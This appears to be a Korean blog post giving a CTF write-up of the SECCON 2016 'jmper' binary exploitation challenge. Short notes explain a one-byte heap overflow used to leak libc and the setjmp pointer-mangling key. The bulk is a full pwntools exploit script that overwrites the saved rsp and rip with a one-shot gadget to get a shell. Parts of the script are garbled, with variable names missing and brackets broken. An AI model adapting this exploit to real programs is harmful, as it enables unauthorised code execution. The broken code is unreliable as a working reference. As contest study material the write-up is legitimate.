[*] '/root/pwn/seccon/jmper'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE


[_]FULL RELRO가 걸려있어서 got를 덮다 프로그램이 죽는바람에 놀랐다


00 : BUF

08 : NUM
10 : NAME
18
20
28 : *MEMO

 i = 0; i <= 32; ++i
1byte overflow가 나고 NAME에서 MEMO의 1byte를 조작후 MEMO포인터를 가르키게한뒤 그 포인터를 수정하면 원하는곳에 있는 데이터를 수정 가능하다

MEMO포인터를 변조해 LIBC, _setjmp할때 쓰인 XOR 키값을 빼오고 _setjmp(jmpbuf)할때 저장된 rsp,rip를 변조해서 원샷가젯으로 가게하면 된다
rsp + 0x30 ???인가가 원샷가젯 두번째 인자로 들어가서 그부분이 0을 가르키게 rsp를 조작해야된다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
 
elf = "/root/pwn/seccon/jmper"
lib64 = "/root/pwn/seccon/libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e"
#lib64 = "/lib/x86_64-linux-gnu/libc-2.21.so"
 
#s = process(elf)
= remote('jmper.pwn.seccon.jp',5656)
= ELF(elf)
= ELF(lib64)
print s.recvuntil("Bye :)")
 
DEBUG = 1
if DEBUG == 2:
    context.log_level = 'debug'
 
def ROR(data, shift, size=64):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)
def ROL(data, shift, size=64):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
 
def add():
    s.sendline("1")
    print s.recvuntil("Bye :)")
 
def name(id,t):
    s.sendline("2")
    print s.recv()
    s.sendline(str(id))
    print s.recv()
    s.send(t)
    print s.recvuntil("Bye :)")
 
def memo(id,t):
    s.sendline("3")
    print s.recv()
    s.sendline(str(id))
    print s.recv()
    s.send(t)
    print s.recvuntil("Bye :)")
 
def v_name(id):
    s.sendline("4")
    print s.recv()
    s.sendline(str(id))
    print s.recvuntil("ID:")
    return s.recv()
 
def v_memo(id):
    s.sendline("5")
    print s.recv()
    s.sendline(str(id))
    return s.recvuntil("1.")[:-2]
add()
 
memo(0,"A"*0x1f+"B\n")
leak_heap = v_memo(0).split("B")[1]
leak_heap += "\x00"*(8-len(leak_heap))
leak_heap = u64(leak_heap)
 
print "[*] LEAK HEAP : %x" % leak_heap
if leak_heap&0xff < 0x20:
    print "FAIL"
    exit()
memo( 0"A"*0x20 + chr( (leak_heap&0xff- 0x18 ) )
name( 0,p64(e.got['printf'])+"\n")
leak_libc = u64(v_name(0)[:6]+"\x00\x00")
print "[*] LIBC LEAK : %x" % leak_libc
 
add()
 
memo(1,"A"*0x1f+"B\n")
leak_heap = v_memo(1).split("B")[1]
leak_heap += "\x00"*(8-len(leak_heap))
leak_heap = u64(leak_heap)
 
print "[*] LEAK HEAP : %x" % leak_heap
if leak_heap&0xff < 0x20:
    print "FAIL"
    exit()
memo( 1"A"*0x20 + chr( (leak_heap&0xff- 0x18 ) )
 
jmper = leak_heap-0x180
ret = jmper+0x30
ori_ret = 0x00400C31
add()
# print "PID : %d" % util.proc.pidof(s)[0]
# raw_input()
name( 1, p64(ret)+"\n" )
leak_ret = u64(v_name(1)[8:16])
xorkey = ROR(leak_ret,0x11) ^ ori_ret
oneshot = leak_libc - l.symbols['printf'+ 0x04647C
rreett = ROL(oneshot^xorkey,0x11)
rsp = ROL((leak_heap+0x400)^xorkey,0x11)
print "[*] LEAK JMPER_ADDR : %x" % jmper
print "[*] LEAK RET : %x" % leak_ret
print "[*] XOR KEY : %x" % xorkey
print "[*] change,xor : %x,%x" % (oneshot,rreett)
print (p64(rsp)+p64(rreett)).encode('hex')
add()
name (1,p64(rsp)+p64(rreett)+"\n")
s.send("1\n"*27)
s.interactive()
cs


'CTF' 카테고리의 다른 글

codegate 2017  (0) 2017.02.11
SECCON_2016 logger  (0) 2016.12.14
SECCON_2016 cheer  (0) 2016.12.11
SECCON_2016 checker  (0) 2016.12.11

+ Recent posts